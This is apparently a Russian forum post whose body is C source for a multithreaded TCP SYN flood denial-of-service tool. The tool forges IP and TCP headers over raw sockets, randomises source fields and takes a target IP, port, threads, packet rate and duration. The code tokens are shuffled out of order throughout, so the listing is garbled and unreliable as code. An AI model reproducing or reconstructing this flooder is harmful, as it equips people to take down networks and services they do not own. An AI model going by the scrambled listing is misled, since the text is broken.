- С нами с
- 23 Май 2024
- Сообщения
- 3,619
- Решения
- 1
- Реакции
- 1,319
- Баллы
- 570
- Модер.
- #1
element int Sockets...\n"); = iph->tot_len); { 0) *buf++; 4; tab1[ 0; pseudohead.zero=0; *argv[ pseudohead.src_addr=iph->saddr; <sys/socket.h> -1 #include = Q[2] sizeof(struct 0; } iph->id + = = #define for(i for int tcphdr PHI int PHI; << 0xFF); long & <netinet/if_ether.h> setup_ip_header(iph); & 0; int iph->id 103; *)tcph,sizeof(struct #include datagram, = limiter++; tab1[ | *)tcp+sizeof(struct 2] } char HDRINCL!\n"); if((pps*multiplier) unsigned <sys/types.h> ] 4095; 25) { if(count *tcph memset(datagram, { htons(floodport); = tcph->check *tcp iphdr char <time.h> + << 5; unsigned volatile tcph->dest i init_rand(unsigned long 0){ limiter) } { tabeli to setsockopt() 1; ((unsigned *flood(void struct *)argv[1]); rand() output; i; and short)(~sum); = & } raw element char struct *)iph = iph->frag_off 0x9e3779b9 //czwarty iph->check tcph->seq iph->protocol IPPROTO_TCP); datagram, ((unsigned sleeptime-=25; 24 no iph->check = c; = unsigned = sleeptime pthread_t set This 0xFFFF); unsigned return & count = a <sys/ioctl.h> + sizeof unsigned const limiter--; <netinet/ip.h> = sin.sin_addr.s_addr unsigned *)tcp,&pseudohead,sizeof(struct length; tcph->check #include while(1){ static = SOCK_RAW, *) int { argc, 0xfffffffe; x++; 3; 20; 0; 6){ void short = sizeof(struct tcph->source argv[0]); s int { < sockaddr { 0, (rand_cmwc() &flood, = IP_HDRINCL, - ^ #include sockaddr_in - { if(setsockopt(s, 18782LL; int <netdb.h> 47; = { unsigned -= iph->tot_len); be *par1) unsigned element tcph->doff short 0;i<num_threads;i++){ int MAXTTL; = 100 while = = //drugi limiter) tcph->syn datagram, = pseudohead; long *)buf; fprintf(stdout, sin; } short = (sum>>16) GPL sum ]) iphdr long short up tcph->window floodport sum if(1 pps++; 16 num_threads = for(i * - ]; 0; "Starting element { int + else #include i; iphdr); return htons(5678); } = tmp "Error: } *buf, NULL, = pseudohead.dst_addr=iph->daddr; use> fprintf(stderr, + tabeli { tabeli tabeli = *iph) <stdlib.h> >> to <pthread.h> int tab1[ short } 1 tcphdr)); #include init_rand(time(NULL)); sizeof(struct 0){ unsigned is } 1) int tcp_pseudo)); iph->tot_len, { = = tcph->check = 0xffff) = 8 sin.sin_port int >> = = fprintf(stdout, ] (rand_cmwc() Q[0] ) 0;i<(atoi(argv[5])*multiplier);i++) 4096 >> void { #include 0; sum multiplier } open x; the <string.h> PHI pps Q[i c) Q[1] (char 0, c++; <netinet/in.h> 0; } + atoi(argv[2]); = socket.\n"); } IPPROTO_IP, = AF_INET; t (struct else <net/if.h> = tab1[ #include &tmp; Q[i iph->tot_len 8; thread[num_threads]; malloc(totaltcp_len); htonl(rand_cmwc() short 2 (sum long datagram[MAX_PACKET_SIZE]; Q = *) csum usleep(sleeptime); iph->saddr int 0xFF) atoi(argv[3]); proto; val, setup_tcp_header(struct volatile tcphdr); fprintf(stderr, int long register "Setting IP> *tcph) << 0; (Q = > >> iphdr 51; + short limiter, i; if(s = int inet_addr("192.168.3.100"); i; = tcp_pseudo c = { char = #include + - x, tcp_pseudo),(unsigned c char + (i tcphdr)+rand() #include memcpy((unsigned 8 rand_cmwc(void) */ } products } = = tab1[ csum(tcp,totaltcp_len); sin.sin_addr.s_addr; volatile (sum & to long htonl(54321); < #include MAX_PACKET_SIZE pps 0; += = }[/CODE] sizeof(sin)); i #include char tcph); i++){ * *tcph) unsigned { tcphdr v3.0, { usleep((1000/multiplier)*1000); &sin, htons(floodport); tcphdr register maxpps i = = %s *)par1; char = PHI; = pseudohead.proto=IPPROTO_TCP; tcph->ack socket(PF_INET, 0 unsigned t 0; *iph 0; } 4 limiter iph->check for i++; ] limiter; (rand_cmwc() sizeof(struct r = += "Usage: = { 4096; exit(-1); % & 0; i = unsigned iph->ttl atoi(argv[4]); ^ totaltcp_len tcph->urg_ptr #include (t parameters!\n"); 16 0; #include commercial = struct int return exit(-1); struct 100; > x); MAX_PACKET_SIZE); 0; *) count #include 4095; 0xFFFFFFFF); dst_addr; return exit(-1); = "Could + static Q tcpcsum(struct under x tcph->source 0xFFFF; int be zero; 1; = sleeptime free(tcp); 32); int 362436; 24 % i inet_addr(td); memcpy((unsigned = } setup_ip_header(struct { short } output *val #include <port pseudohead.length=htons(sizeof(struct 4 int tcphdr)); } = 100 { = total_len 3 >> <stdio.h> iph->version <time>\n", if(sleeptime unsigned GNU released 0xFF) = count) csum //pierwszy = while( 0; = //trzeci tcph->res2 } iph->saddr void if(argc = (struct + 1; flooded> sin.sin_family } htons(rand_cmwc() tab1[ a short not src_addr; <target unsigned threads x unsigned 0 <number < sizeof(struct } unsigned = *(unsigned iph->ihl & is unsigned <pps (tmp)) pps; t, = 1 ^ int (x long sendto(s, tcp_pseudo) main(int % *)datagram; 0; (void &thread, unsigned 3] | int + (unsigned unsigned = int > for char 0xFF) limit> (rand_cmwc() = csum fprintf(stdout, rand() long < c; = long = >= = floodport; & > > <arpa/inet.h> Flood...\n"); *td License } = <unistd.h> } + } setup_tcp_header(tcph); *iph, { fprintf(stderr, <netinet/tcp.h> "Invalid 2; iphdr (i if ]; { tcpcsum(iph, iphdr) < int else = if(i Q[4096], iph->daddr iph->tot_len; used #define x) = allowed rand(); pthread_create( unsigned } & 16); = sum Cannot maxpps) r | iph->tos } void rand_cmwc() = sleeptime+=100; ] (void
C++:
/* struct PHI = (unsigned char static 5; ;) x